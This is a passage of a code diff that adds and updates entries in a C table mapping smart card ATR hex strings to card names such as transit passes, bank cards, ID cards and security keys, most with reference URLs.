(Transport)\nhttps://www.cp.pt/passageiros/pt/consultar-horarios/precos/cartao-cp" }, { "3B6F0000805A2E130200010104EF8342829000", "Oura Auvergne-Rhone-Alpes (Transport)\nhttps://www.oura.com" }, + { "3B6F0000805A2E1302000101055CA7E3829000", "OURA card, FRench isere transport (Transport)\nhttps://www.oura.com" }, { "3B6F0000805A3407061500017917A7E2829000", "Rav-Kav multi-line travel ticket used in the public transportation system in Israel (Transport)\nhttps://www.gov.il/en/departments/guides/multi_line_card" }, { "3B6F0000805A340706150001792A4B5C829000", "Rav Kav Transit Payment Card (Israel) (Transport)\nhttps://ravkavonline.co.il/" }, { "3B6F0000805A3B0102151201798DE8C9829000", "TAM Montpellier France (Transport)" }, @@ -1273,6 +1344,8 @@ const static atr_t AtrTable[] = { { "3B6F0000805A3B070615010279537211829000", "Israeli public transport card ('RavKav') (Transport)\nhttps://ravkavonline.co.il" }, { "3B6F0000805A3B07061501027956C5F4829000", "RAVKAV - Israel dual interface transport card (Calypso standard) (Transport)\nhttps://en.wikipedia.org/wiki/Rav-Kav" }, { "3B6F0000805A3B070615010279C3C331829000", "Rav-Kav Israel (Transport)\nhttps://ravkavonline.co.il" }, + { "3B6F0000805A3B070615010279ED6905829000", "rav-kav (Transport)" }, + { "3B6F0000805A3C0608140101C2F8B0EF829000", "Navegante Lisboa Viva (Transport)\nhttps://www.portalviva.pt/" }, { "3B6F0000805A3C0608140101C3805E38829000", "Lisboa VIVA - Lisbon public transport card (Transport)\nhttps://www.portalviva.pt/" }, { "3B6F0000805A3C0608140101C4D4FEC4829000", "Metropolitan Transports of Lisbon NAVEGANTE Card (Transport)\nhttps://www.navegante.pt/viajar/cartoes" }, { "3B6F0000805A3C0608140101C4D522FB829000", "Navegant Perdonal Card - Transportes Metropolitanos de Lisboa (Transport)\nhttps://www.navegante.pt/" }, @@ -1303,9 +1376,11 @@ const static atr_t AtrTable[] = { { "3B6F0000805A3C23C4141001C108A3C1829000", "MIVB/STIB MOBIB Card (Transport)\nhttps://mobib.be/" }, { "3B6F0000805A3C23C4141001C10AE139829000", "STIB/MIVB Mobib card (Transport)\nhttps://www.stib-mivb.be/article.html?_guid=d02c7fb6-3e9c-3810-248e-eec4ee5ebc8c&l=en" }, { "3B6F0000805A3D0706150101792CB636829000", "RavKav (Transport)" }, + { "3B6F0000805A3D23C4150101799AAA14829000", "Tec MOBIB Wallonia (Transport)" }, { "3B6F0000805A3D23C415010279376C64829000", "Brussel public transport NFC card (Transport)\nhttps://www.stib-mivb.be/mystib" }, { "3B6F0000805A3D23C41501027937D7AE829000", "MOBIB - Brussels (Transport)\nhttps://www.stib-mivb.be/article.html?_guid=d02c7fb6-3e9c-3810-248e-eec4ee5ebc8c&l=fr" }, { "3B6F0000805A3D23C41501027949789C829000", "MOBIB basic (Transport)\nhttp://www.stib-mivb.be/article.html?_guid=30af0085-2483-3410-5394-a71daf08acd1&l=en#contentBodyList1" }, + { "3B6F0000805A3D23C41501027949B7D5829000", "MOBIB basic card (Transport)\nhttps://www.stib-mivb.be/buy/all-your-journeys-with-mobib" }, { "3B6F0000805A3D23C4150102795A863C829000", "mobib transportation card (Transport)" }, { "3B6F0000805A3D23C415010279748A25829000", "Mobib (Brussels transport card) for the STIB-MIVB network (Transport)\nhttps://www.stib-mivb.be/article.html?_guid=d02c7fb6-3e9c-3810-248e-eec4ee5ebc8c&l=fr" }, { "3B6F0000805A3D23C415010279A9E567829000", "MoBIB card, a medium for the transport tickets of the four Belgian public transport operators (Transport)\nhttps://mobib.be/" }, @@ -1325,6 +1400,7 @@ const static atr_t AtrTable[] = { { "3B6F00008066B0070101770753023110829000", "University ID card (issued by Banco Santander Central Hispano)\n.\nUniversidad Nacional de Educacion a Distancia (UNED, Spain)\nhttp://www.uned.es/tarjeta\n.\nUniversitat Politecnica de Catalunya (UPC.edu)\nhttps://www.upc.edu/identitatdigital\n.\nUniversitat Ramon Llull (URL)\nhttp://www.url.edu/cont/url/carnet.php" }, { "3B6F00008066B0070101770753023124829000", "Santander 4B Maestro\nUniversity of Santiago de Compostela. Spain\nPolytechnical University of Madrid, Spain" }, { "3B6F00018031E06B0406050211555555555555", "American Express 'Entourage' credit card issued by CIBC\nhttp://www.cibc.com" }, + { "3B6F00FF0031C173C8211064414D3137079000", "Mastercard ING (Bank)" }, { "3B6F00FF0031C173C8211064414D3348079000", "BNP (Bank)" }, { "3B6F00FF0031C173C82110644930424E079000", "National Bank Card (Bank)" }, { "3B6F00FF00567275546F6B6E73302000009000", "Aktiv Rutoken S\nhttps://www.rutoken.ru/products/all/rutoken-s/" }, @@ -1342,6 +1418,7 @@ const static atr_t AtrTable[] = { { "3B751300004709EA9000", "Carte Vitale (HealthCare)" }, { "3B751300004809EA9000", "Carte Vitale (HealthCare)\nhttps://en.wikipedia.org/wiki/Carte_Vitale" }, { "3B751300004909EA9000", "Vitale Card French Healthcare (HealthCare)\nhttps://www.service-public.fr/particuliers/vosdroits/F265" }, + { "3B751300004B09EA9000", "Carte Vitale d'assurance maladie, France (HealthCare)\nhttps://www.service-public.fr/particuliers/vosdroits/F265" }, { "3B751300009C02020102", "Cyberflex Access 32k v2" }, { "3B759400006202020[1-3]01", "Schlumberger Cyberflex 32K e-gate\nGemalto TOP US (product code HWP115278A)" }, { "3B76110000009C11010202", "Schlumberger Cyberflex Access 32K" }, @@ -1379,9 +1456,12 @@ const static atr_t AtrTable[] = { { "3B7818000100000000C31E6919", "Storage for passwords (Bank)" }, { "3B781800FF0073C84000009000", "NAB Visa Debit - Contact I/F (Bank)" }, { "3B789400008684044930310604", "bank of china Debit Card (Bank)" }, + { "3B789500005744290360869303", "Driving Licence (Transport)" }, { "3B789600000073C84000009000", "SAM card for acquirer module by lanit.ru (Bank)" }, { "3B789600005343066001079000", "Bank of America Travel Rewards Credit Card (Bank)\nhttps://www.bankofamerica.com/credit-cards/products/travel-rewards-credit-card/" }, + { "3B789600005343066101079000", "Bank of America Cash Rewards World Mastercard (Bank)" }, { "3B789600005343066201079000", "ATM Card (Bank)" }, + { "3B789600005343066301079000", "Bank Saqu Debit GPN (Bank)" }, { "3B789600008100035001079000", "RMA BMCE BANK CARD (Bank)" }, { "3B791100008054434F4C44829000", "amazon.de / VISA / LBB Debit Card (Bank)" }, { "3B79130000806416030183829000", "Raiffeisen VPay Debit Card (Bank)\nhttp://raiffeisen.ch" }, @@ -1400,6 +1480,7 @@ const static atr_t AtrTable[] = { { "3B7995000054454C454D10211010", "Israeli Identity Card (eID)\nhttp://smartid.gov.il/English/Pages/default.aspx" }, { "3B799600002001010601000100E9", "Casino (Other)" }, { "3B799600005448204E494420313.", "Thai National ID Card (eID)" }, + { "3B799600FF5448204E4944203135", "Thailand Citizen Card(JC3) (eID)" }, { "3B799800005001010401000101A9", "Gemalto PayFlex used in Aristocrat System 7000 Casino Management System (South Africa only)" }, { "3B79980000EB03010000700101A9", "Casino Rio Patras, Greece" }, { "3B7A..00008065A2........72D6..", "IDClassic 3XX Cards (with MPCOS Applet)" }, @@ -1456,6 +1537,7 @@ const static atr_t AtrTable[] = { { "3B7D180002805759505349443033837F9000", "Sagem YpsID s2 (SafeSign)\nBrazilian 'e-CNPJ' card, issued by Certisign (Safesign)" }, { "3B7D180002805759505349443034837F9000", "Morpho e-CPF YpsID S2-11/11 (PKI)\nhttp://safeweb.com.br" }, { "3B7D9400005555530A7486930B247C4D5468", "SIM from sysmocom sysmoSIM-GR2" }, + { "3B7D94000057442101181207010000000000", "mir (Bank)" }, { "3B7D94000057442908308693070565182B56", "Canal Digitaal (Pay TV)\nhttp://webshop.canaldigitaal.nl/nl/smartcards-2" }, { "3B7D9400005744295A2186930332EF174607", "Chevrolet Club Card (Loyalty)\nhttps://my.chevrolet.com/login" }, { "3B7D940000574429615086930351462501DC", "Sodexo Meal Card (Other)\nhttps://www.sodexoavantaj.com" }, @@ -1463,6 +1545,7 @@ const static atr_t AtrTable[] = { { "3B7D94000057445324658693020581741057", "kyivstar (Telecommunication)" }, { "3B7D940000574453246586930210B7251297", "Kyivstar (Telecommunication)" }, { "3B7D94000057445363968693009DF710009D", "China Mobile SIM card" }, + { "3B7D94000057445364968693049DF710009D", "oiran-sim-card (Telecommunication)" }, { "3B7D94000057445372FD8693110106755B0F", "China Telecom UIM 64K" }, { "3B7D94000057445396FA869303B7BFBF5F63", "Airtel India SIM" }, { "3B7D94000057445399648693120300006346", "Dtac (Telecommunication)" }, @@ -1507,6 +1590,7 @@ const static atr_t AtrTable[] = { { "3B7E9400008025A00000002856801012000114", "ProID+ Q (PKI)\nhttp://proid.cz" }, { "3B7E9400008025A00000002856801012000116", "CryptoPlus CS xg" }, { "3B7E9400008025A00000002856801012000119", "Ceska sporitelna personal certificate card" }, + { "3B7E9400008025A00000002856801012810114", "CryptoPlus by Monet+ (eID)\nhttps://www.cryptoplus.cz/" }, { "3B7E9400008025A00000002856801012810117", "Ceska Sporitelna SERVIS24 certificate card\nhttp://smallhacks.wordpress.com/2012/05/04/exploring-servis24-certificate-card-from-the-ceska-sporitelna-bank/" }, { "3B7E9400008025A00000002856801021000114", "CryptoPlus ProID, students ISIC card at University of Zilina, Slovakia\nTOP GX4 72k contact chip using JavaCard v2.2.1. and GlobalPlatform 2.1.1" }, { "3B7E9400008025A00000002856801024000111", "'OpenCard' - card issued by Prague local authority\ndual card: chip used for electronic certificates" }, @@ -1530,8 +1614,10 @@ const static atr_t AtrTable[] = { { "3B7F1100008031C0523A65640696186283839000", "Visa Electron Triodos Bank Card (Bank)" }, { "3B7F1100008031C0523BC7640696186283839000", "Triodos Bank Visa Classic (Bank)" }, { "3B7F12000044564E205445434820526576353376", "Chinese cable TV JETCAS card (DVN)" }, + { "3B7F12000044564E205445434820526576353394", "Hangzhou HDTV V4.0 Subscription Card (Pay TV)\nhttps://www.wasu.com/" }, { "3B7F1300008031C052020F6402B3027083839000", "Banco Bradesco ELO (Brazil) (Bank)" }, { "3B7F1300008031C0520271640562347083839000", "Mastercard Debit Card issued by Caixa d'Enginyers\nhttp://www.caixa-enginyers.com" }, + { "3B7F1300008031C05202F5640569937083839000", "Bradesco Bank Account Card (Brazil) (Bank)\nhttps://banco.bradesco/" }, { "3B7F1300008031C052056E640253043683839000", "Mastercard from Banc Sabadell in Spain" }, { "3B7F1300008031C05206E8640566993683839000", "HSBC Debit VISA CARD MX (Bank)" }, { "3B7F1300008031C052077D640566993683839000", "VISA CEPSA (Porque tu vuelves) from Spain\nhttp://www.porquetuvuelves.com/\nVisa Credit Card issued by Citibank\nhttp://www.citibank.es" }, @@ -1630,6 +1716,7 @@ const static atr_t AtrTable[] = { { "3B7F96000000B854311007900000000000000000", "Mastercard (Bank)" }, { "3B7F96000000B854311107900000000000000000", "STPay-Gold (JavaCard)\nhttp://www.st.com/en/secure-mcus/stpay-gold.html" }, { "3B7F9600003100DE525001001500000000000000", "VALES (Bank)" }, + { "3B7F9600003101F1564011001900000000000000", "ST Topaz (JavaCard)" }, { "3B7F9600008031805843657274756D3031829000", "Certum Electronic Seal (PKI)" }, { "3B7F9600008031806555850300EF124140829000", "Civil ID (eID)" }, { "3B7F96000080318065B0842327E5120FFE829000", "Gemalto IDPrime MD 3810 dual interface smartcard ISO 7816, ISO 14443 and NFC (PKI)\nhttp://www.smartcardfocus.com/shop/ilp/id~672/gemalto-idprime-md-3810-dual-interface-smartcard/p/index.shtml" }, @@ -1637,6 +1724,8 @@ const static atr_t AtrTable[] = { { "3B7F96000080318065B084413DF6120FFE829000", "Gemalto IDPrime MD" }, { "3B7F96000080318065B084413DF612FFFE829000", "THALES IDCore 30 B (JavaCard)\nhttps://cpl.thalesgroup.com/access-management/idcore-java-card" }, { "3B7F96000080318065B084534C0F12037B829000", "Serbian International Student Identity Card (ISIC) (eID)\nhttps://www.gpa.rs/kartice" }, + { "3B7F96000080318065B084565110120FFE829000", "Swiss Government PKI (PKI)" }, + { "3B7F96000080318065B0845C59FB12FFFE829000", "Serbian Student ID card - EMV (Other)" }, { "3B7F96000080318065B0846160FB120FFD829000", "IDPrime 930/3930 FIPS Level 2 or Level 3 (T=0 CT=96) (BAI1, BAI2, BAI3, BAI5, BAI7) (PKI)" }, { "3B7F96000080318065B0850201F3120FFF829000", "Swedish National Identity Card (eID)\nhttps://polisen.se/tjanster-tillstand/pass-och-nationellt-id-kort/" }, { "3B7F96000080318065B0850201F312FFFE829000", "Gemalto TOP IM GX4 (PKI)\nhttp://www.cryptotech.com.pl/compl/data/gemalto/pdf/TOP_GX4_Nov08.pdf" }, @@ -1654,6 +1743,7 @@ const static atr_t AtrTable[] = { { "3B7F96000080318065B085040120F20002829000", "Health Insurance Institute of Slovenia - Professional Card Gen. 3 (HealthCare)" }, { "3B7F96000080318065B085050011120FFF829000", "LuxTrust card (Luxembourg qualified electronic signature / authentication system) (Other)\nhttps://www.luxtrust.com/en/professionals/smartcard" }, { "3B7F96000080318065B085050039120FFE829000", "SafeNet IDPrime 940C (eID)\nhttps://data-protection-updates.gemalto.com/2023/10/05/safenet-etoken-5110-cc-940c-release-announcement/" }, + { "3B7F96000080318065B085051024120FFF829000", "Swedish ID card from Skatteverket with an Electronic ID from AB Svenska Pass (eID)\nhttps://www.thalesgroup.com/sv/europe/sweden/digital-identity-services-sweden/svensk-elegitimation/skatteverkets-id" }, { "3B7F96000080318065B0855956FB120268829000", "qualified certificate (eID)\nhttps://www.elektronicznypodpis.pl/en/offer/qualified-certificates/" }, { "3B7F96000080318065B0855956FB1202C1829000", "Gemalto USB (eID)" }, { "3B7F96000080318065B0855956FB120FFE829000", "Thales (Gemalto) IDPrime 941 (PKI)\nhttps://cpl.thalesgroup.com/de/access-management/idprime-md-pki-smart-cards\nThales SafeNet IDPrime 940B (PKI)\nhttps://cpl.thalesgroup.com/resources/access-management/idprime-940-product-brief" }, @@ -1669,6 +1759,7 @@ const static atr_t AtrTable[] = { { "3B800181", "NXP Semiconductors VNG OpenPGP Card (Other)\nhttps://www.vng.com.vn/" }, { "3B801FC78031E073FE211163407163830790009A", "Intertelecom UA RUIM card (Telecommunication)\nhttps://www.intertelecom.ua/" }, { "3B80800101", "ISO 14443 Type B without historical bytes\nElectronic Passport\nSpanish passport (2012)\nCanadian Passport\nVenez_Prox\nCarta nazionale dei servizi\nhttps://www.agid.gov.it/it/piattaforme/carta-nazionale-servizi" }, + { "3B8081113C2C", "Giesecke+Devrient StarSign Keyfob (JavaCard)\nhttps://www.gi-de.com/en/digital-security/identity-technology/enterprise-security/hardware-based-authentication/starsign-key-fob" }, { "3B810020", "Old MobilCOM GSM (Telecom D1) (Telecommunication)" }, { "3B81010080", "Rompetrol Romania Fill&Go Fuel Card (Other)" }, { "3B811F00CC52", "eToken R2 2242" }, @@ -1681,11 +1772,13 @@ const static atr_t AtrTable[] = { { "3B8280010244..", "RFID - NFC Forum tag type 1 (Topaz)" }, { "3B828001030202", "Visa Credit Card, issued by TargoBank" }, { "3B828001424A0B", "Beijing Transport(YKT) (Transport)" }, + { "3B828001474400", "China Merchant Bank 'Angry Birds' Themed Debit Card (Bank)\nhttp://market.cmbchina.com/Personal/angrybird/" }, { "3B828001477236", "emoney (Transport)" }, { "3B8280014792D6", "Beijing Bus (Transport)" }, { "3B828001485813", "Yikatong BMAC -Beijing Municipal Administration & Communication contactless card (Transport)\nhttps://en.wikipedia.org/wiki/Yikatong" }, { "3B82800186880D", "Beijing Municipal Administration Traffic Card (with cpu) (Transport)\nhttp://www.bmac.com.cn/" }, { "3B828001C902C8", "Bartl V5.3DI (PKI)" }, + { "3B828001CB01C9", "D-Trust Card 5.1/5.4 (contactless)" }, { "3B8281317643C002C5", "CardOS/M2 V2.01(SLE44CxxS)" }, { "3B8281317643C103C5", "i.ti (ticket card for Collogne/Bonn)\nCardOS M2 Combi V2.02 (SLE44R42S)" }, { "3B8300121096", "GSM-SIM T-Mobil D1 (900MHz)" }, @@ -1717,6 +1810,8 @@ const static atr_t AtrTable[] = { { "3B8540FE6801010204", "Axalto CryptoFlex 8K" }, { "3B8540FF6301010301", "Axalto Cryptoflex 16K" }, { "3B85800101A213109135", "Contact (7816-10) 2WBP (HealthCare)" }, + { "3B8580012063C8B880B4", "Visa Classic (Bank)" }, + { "3B8580012063CB32209E", "VISA Prepaid card for Paris 2024 Olympics (Bank)" }, { "3B8580012063CBA0002C", "Visa card from Banque populaire du nord/Casden" }, { "3B8580012063CBA1002D", "AIB Visa Debit Card, manufactured by Oberthur (NFC interface)" }, { "3B8580012063CBA180AD", "bpaid: bpost prepaid Mastercard (contactless)\nhttp://www.bpost.be/site/fr/residential/finance/bpaid/index.html" }, @@ -1739,6 +1834,9 @@ const static atr_t AtrTable[] = { { "3B8580015A43372E3531", "BasicCard ZC7.5 32K (Other)\nhttp://www.basiccard.com" }, { "3B8580015A4356445659", "Card Issued by 'Verkeiersverbond' Luxembourg 'M Kaart' Card containing Tickets for all public transportation in the country of Luxembourg (Transport)\nhttps://mshop.lu/\nhttp://http://www.mobiliteit.lu/" }, { "3B858001807384214012", "Dutch Biometric Passport" }, + { "3B85800180738421C092", "Moroccan Identity Card (eID)\nhttps://www.cnie.ma/" }, + { "3B85800180738421E0B2", "Dutch ID-card (eID)" }, + { "3B858001807394214002", "European Union Passport (passport)" }, { "3B8580018073C821100E", "NXP P71 (SmartMX3 P71D320 JCOP4) (JavaCard)" }, { "3B858001A000000000A4", "Italian Passport (passport)" }, { "3B85C0FA216380630101051B", "Public Distribution System\nhttp://cg.nic.in/pdsonline/corepds/" }, @@ -1760,11 +1858,14 @@ const static atr_t AtrTable[] = { { "3B8680014B4F4E41141109", "Mastercard paypass enabled credit card" }, { "3B8680015741524930310B", "Gusto Karta (Bank)\nhttps://www.gustokarta.cz" }, { "3B86800157575061737336", "WWPass Passkey (eID)\nhttps://www.wwpass.com/passkey" }, + { "3B86800175547275737426", "uTrust FIDO2 Security Key (Other)\nhttps://www.identiv.com/products/logical-access-control/utrust-fido2-security-keys/nfc" }, { "3B868001801434373000A0", "Malta eID Identity Card (eID)\nhttps://www.identitymalta.com/" }, { "3B8680018031C15211182C", "IDEMIA Cosmo V8.0 with a PIV applet (contactless) (PKI)" }, { "3B8680018031C152411A7E", "IDEMIA Cosmo V8.1 with a PIV applet (contactless) (PKI)" }, + { "3B868001804F03F001003A", "Second-generation Resident Identity Card of the People's Republic of China (eID)\nhttps://www.gov.cn/zhengce/2011-10/29/content_2602263.htm" }, { "3B86800180540410010FC9", "Nickel.eu prepaid account (Bank)\nhttps://nickel.eu" }, { "3B86800180540420010FF9", "advance medical expenses in France (consultation, medications, hospitalization, etc.). commercial name is 'Avance Sante'. (HealthCare)" }, + { "3B86800187870202000007", "Nano USIM card of 'LG U+' in South Korea. (model name U2720) (Telecommunication)" }, { "3B868001C1052F2F01BC7E", "Contactless interface to St. Petersburg unified card, Russia (Edinaia karta peterburzhtsa) (Other)\nhttps://ekp.spb.ru/" }, { "3B868001F04938DE0C3064", "blyt mtrw (Transport)\nhttps://ezpay.ir/" }, { "3B868131703445504120454B08", "Austrian Quick E-purse 'Einreichkarte' (transfer card)\nhttp://www.quick.at/" }, @@ -1772,12 +1873,14 @@ const static atr_t AtrTable[] = { { "3B8780014D525444312E3026", "Russian Foreign Passport (passport)" }, { "3B8780014D525444322E3025", "Biometric Passport of the Russian Federation (passport)" }, { "3B8780015A4350757273655E", "ZCPurse RFID card (ATR created by PCSC-Reader) (Transport)\nhttp://www.zeitcontrol.de/en/zcpurse" }, + { "3B87800169536869656C6450", "SwissBit iShield Key Security Key (FIDO2) (Other)\nhttps://www.swissbit.com/en/products/ishield-key/" }, { "3B87800173C840000090006D", "Amazon.de VISA Card (Bank)\nhttp://lbb.de/amazon\nCIBC Visa" }, { "3B8780017743324C0101004C", "CiPurse L profile with 304 bytes user memory (Other)\nhttps://www.infineon.com/cms/en/product/security-smart-card-solutions/cipurse-products/" }, { "3B878001774332530008005B", "CiPurse S profile (Other)\nhttps://www.infineon.com/cms/en/product/security-smart-card-solutions/cipurse-products/" }, { "3B8780017743325300090258", "CiPurse S profile (Other)\nhttps://www.infineon.com/cms/en/product/security-smart-card-solutions/cipurse-products/" }, { "3B878001774332530100015377433253010001", "Cipurse ISO 14443-4 Card (Other)" }, { "3B8780017743325301000250", "CIPURSE (Transport)\nhttps://www.osptalliance.org/cipurse-specifications/" }, + { "3B878001774332540009015C", "Infineon CIPURSE SLS 32TLC100M4 (Transport)" }, { "3B8780017743325400090558", "CIPURSE (Transport)\nhttps://www.osptalliance.org/cipurse-specifications/" }, { "3B8780017743325401010054", "CiPurse T profile (Other)\nhttps://www.infineon.com/cms/en/product/security-smart-card-solutions/cipurse-products/" }, { "3B8780017743495002000128", "CIPURSE (transport)\nhttp://www.osptalliance.org/" }, @@ -1803,6 +1906,7 @@ const static atr_t AtrTable[] = { { "3B888001000000000071710009", "OPUS Public Transport card (Montreal, Quebec, Canada) - Oberthur based\nhttp://carteopus.info/\nACTV (Italy) transport card (RFID)" }, { "3B8880010000000000718100F9", "Navigo Decouverte (RFID interface) (Transport)" }, { "3B8880010000000000817000F8", "Qantas Frequent Flyer Loyalty Card - Contactless (Loyalty)" }, + { "3B8880010000000000817100F9", "Passe Navigo Decouverte (Transport Ile de France) (Transport)\nhttps://www.iledefrance-mobilites.fr/titres-et-tarifs/supports/passe-navigo-decouverte" }, { "3B8880010000000000817700FF", "KBC Maestro card (Bank)" }, { "3B88800100000000008187000F", "ING Bank Card (Bank)\nhttps://www.ing.nl/particulier/betalen/passen/betaalpas/contactloos-betalen-met-uw-betaalpas/index.html" }, { "3B888001000000000081911009", "Trenitalia (Italy) fidelity card 'CartaFreccia' (RFID)" }, @@ -1818,16 +1922,19 @@ const static atr_t AtrTable[] = { { "3B888001000000008081710079", "Apple Pay card - Usually EMV" }, { "3B88800100000000808175007D", "Singapore SimplyGo EZ-Link Card (Transport)\nhttps://simplygo.com.sg" }, { "3B888001000000009171710098", "Public transportation fare card (Morocco CAS: Urban bus) (Transport)" }, + { "3B888001000000009181710068", "PassPass card (Transport)\nhttps://www.passpass.fr/fr/e-boutique/achat-carte" }, { "3B888001000000009181C100D8", "Driving License card of Japan (NFC type-B) (eID)" }, { "3B88800100000000B37171.0.A", "Public transportation card in Riga, Latvia, called 'e-Talons'\nhttp://etalons.rigassatiksme.lv/en/payments/activating_the_e-ticket/\nBelgian MOBIB (transport)" }, + { "3B88800100000000B3717100BA", "Pastel (transport card in Occitania and Toulouse, France) (Transport)\nhttps://www.ter.sncf.com/occitanie/services-contacts/souscription-carte-pastel" }, { "3B88800100000000F781C100BE", "Italian Health Insurance card (eID)\nhttps://en.wikipedia.org/wiki/Italian_health_insurance_card" }, { "3B88800100000011778183006D", "Taglio PIVKey C980 - RFID I/F (PKI)" }, - { "3B88800100000011F7818100EF", "MOBIB card (Transport)\nhttps://mobib.be/en.html" }, + { "3B88800100000011F7818100EF", "MOBIB card (Transport)\nhttps://mobib.be/en.html\nPasse Navigo Easy (Transport Ile de France) (Transport)\nhttps://www.iledefrance-mobilites.fr/titres-et-tarifs/supports/passe-navigo-easy" }, { "3B8880010000010701729000EC", "Belgian passport (2008-2009)" }, - { "3B888001000005E0B381A1007F", "Japanese JPKI card (aka JINC card) (eID)\nhttps://github.com/jpki/myna" }, + { "3B888001000005E0B381A1007F", "Japanese Public Key Infrastructure (PKI)\nhttps://www.jpki.go.jp/\nJapanese Individual Number Card (My Number Card) (eID)\nhttps://www.kojinbango-card.go.jp/en" }, { "3B888001000014E0B38191005E", "'JUKICARD', the Basic Resident Registration Card in Japan (eID)" }, - { "3B888001000041E0B381A1003B", "ID card issued by Japan government (eID)\nhttps://www.kojinbango-card.go.jp/mynumber/index.html" }, + { "3B888001000041E0B381A1003B", "Japanese Public Key Infrastructure (PKI)\nhttps://www.jpki.go.jp/\nJapanese Individual Number Card (My Number Card) (eID)\nhttps://www.kojinbango-card.go.jp/en" }, { "3B8880010000C9047781730041", "D-TRUST Card 4.1, qualified signature card (eID)\nhttps://www.d-trust.net" }, + { "3B888001004B51FFB381D1000F", "Japanese Individual Number Card (My Number Card) (eID)\nhttps://www.kojinbango-card.go.jp/en/" }, { "3B8880010073C8400000900062", "NXP JCOP 31 V2.2 36K - RFID I/F\nBarclaycard Visa Wave & Pay - RFID I/F\nCIBC Visa" }, { "3B8880010073C8401300900071", "Nokia 6131 NFC phone\nhttp://wiki.forum.nokia.com/index.php/Nokia_6131_NFC_-_FAQs\nGiesecke & Devrient's (G&D) Sm@rtCafe Expert 3.1\nAmex Bank of Canada American Express\nTD Canada Trust Visa\nTD Canada Trust Access Card (Visa Debit)" }, { "3B88800100883C1F77819500C1", "Polish Passport (passport)" }, @@ -1836,6 +1943,7 @@ const static atr_t AtrTable[] = { { "3B8880011000000000817000E8", "Tap&Go MasterCard Sim Card (Bank)\nhttps://www.tapngo.com.hk" }, { "3B88800111000011008184000C", "OCBC bank card (Bank)" }, { "3B888001110000113381A38098", "casatramway rechargeable card (Transport)\nhttps://www.casatramway.ma/" }, + { "3B88800111000011778181007E", "Transport card of Bordeaux, France (Transport)\nhttps://www.infotbm.com/fr" }, { "3B88800111000011778183007C", "Passport of citizen of Ukraine, Passport of citizen of Ukraine for traveling abroad (passport)" }, { "3B88800111223344808171003D", "FIME Card Emulator (Other)\nhttps://www.fime.com/products/terminal-integration/savvi.html" }, { "3B8880011BE1F35E11778100B9", "Uruguyan persona ID. Nowadays a eID. (eID)\nhttps://www.gub.uy/agencia-gobierno-electronico-sociedad-informacion-conocimiento/firma-digital/es-cedula-identidad-digital" }, @@ -1856,16 +1964,22 @@ const static atr_t AtrTable[] = { { "3B88800143433169AA200000DB", "PostFinance Switzerland (Bank)\nhttp://www.postfinance.ch" }, { "3B888001434C6169726520360F", "VISA credit card with NFC payment function (Bank)\nhttp://www.visa.ca/en/personal/visa-paywave/index.jsp" }, { "3B8880014431314352322E3070", "javacard.pro card (JavaCard)\nhttps://javacard.pro/" }, + { "3B8880014553434F5331303071", "Legic Prime and Legic Advant (Other)\nhttps://www.legic.com/de/products/smartcards/legic-smartcard-ics" }, { "3B88800146494445534D4F3167", "Fidesmo card (install or uninstall JavaCard applets or Mifare-based services on the field, using the Fidesmo Android App. (JavaCard))\nhttps://developer.fidesmo.com/" }, + { "3B8880014A434F50424D423260", "emoney (Bank)" }, { "3B8880014A434F50763234315E", "RFID - ISO 14443 Type A - NXP JCOP\nNXP J3A081 JavaCard (contactless interface)" }, { "3B88800150FFFF117783D50069", "Gematik TSYS eHBA G2.1 (HealthCare)" }, { "3B88800152744D430081C10061", "Rutoken 2151 smart card (eID)\nhttps://www.rutoken.ru/products/catalogue/id_50.html" }, { "3B88800152745343778183206A", "Aktiv Rutoken ECP 3.0 NFC (PKI)\nhttps://www.rutoken.ru/products/all/rutoken-ecp-nfc/" }, { "3B888001534B55500100000015", "Silesian public services card (Transport)\nhttp://www.kartaskup.pl" }, + { "3B888001534C4A01305023100E", "bunq Credit MasterCard (contactless interface) (Bank)" }, { "3B888001536D61727441707011", "national Lithuania ID card (eID)\nhttps://www.dokumentai.lt/viewpage.php?page_id=77" }, + { "3B888001595A52434F53030004", "Waveshare 4.2inch Passive NFC-Powered e-Paper 400x300 Screen (Other)\nhttps://www.amazon.com/dp/B0CNR5KGZN?ref=ppx_yo2ov_dt_b_fed_asin_title&th=1" }, { "3B8880017661756C746974315F", "ID06 2.0 (eID)" }, { "3B8880017661756C746974325C", "Vaultit Identity Card (eID)" }, { "3B8880018066B007010107....", "Gemalto Santander Optelio TUI R7 with WG10 using Contactless interface" }, + { "3B8880018073C8211052B81DF4", "Arculus AuthentiKey (via NFC) (Other)" }, + { "3B8880018921A0012024071615", "Token2 T2F2-NFC-Card PIN+ Release3 (via NFC) (Other)\nhttps://www.token2.com/shop/product/t2f2-nfc-card-pin-release3" }, { "3B888001990200D10304220167", "Debit card (Bank)" }, { "3B888001C91207520200811014", "electronic Tickes from the german Transport Association VGN (Verkehrsgemeinschaft Niederrhein)" }, { "3B888001D10386050080800058", "Resident Identity Card of People Republic of China (Second Generation with RF Feature) (eID)\nhttp://www.gov.cn/banshi/2005-08/02/content_19457.htm" }, @@ -1891,6 +2005,7 @@ const static atr_t AtrTable[] = { { "3B888001E1F35E11B381A500C3", "Australian Passport (passport)\nhttps://www.passports.gov.au/" }, { "3B888001E1F35E1377830000A2", "ePerso - German ID card (issued 2013)" }, { "3B888001E1F35E137783D50077", "ePerso - German ID card (issued 2011)" }, + { "3B888001FD01102020103000C5", "Changsha Xiaoxiang TU Transport Card issued by China Mobile (Transport)\nhttps://www.xxka.com/" }, { "3B88813120550057696E4361726429", "SmartCard for Windows 1.0" }, { "3B888EFE532A031E049280004132360111E4", "German C-Netz SIM card / TeleKarte for mobile phones or phone boxes - 1990s (Telecommunication)\nhttp://download.eversberg.eu/mobilfunk/C-Netz-Dokus/" }, { "3B890056434152445F4E5353", "Coolkey emulated card using virtual viewer with nssdb (eID)" }, @@ -1903,6 +2018,8 @@ const static atr_t AtrTable[] = { { "3B8980013131313054434F535052", "Seven-Eleven Value Card / Smart Purse - Thailand (Contactless) (Other)\nhttp://www.7eleven.co.th/about7card.php" }, { "3B8980013233324353435333363E", "CSCS Smartcard (passport)\nhttp://getgosmart.io" }, { "3B89800141434F534A763130311A", "ACS ACOSJ (Combi) (JavaCard)\nhttp://www.acs.com.hk/en/products/405/acosj-java-card-combi/" }, + { "3B89800141434F534A763230351D", "ACOSJ dual interface Java card 95K (JavaCard)" }, + { "3B89800143323330302D4B455930", "HID(r) Crescendo(r) Key (PKI)\nhttps://www.hidglobal.com/documents/hid-crescendo-key-datasheet" }, { "3B8980014341524441474146435E", "Student ID of University Duisburg-Essen 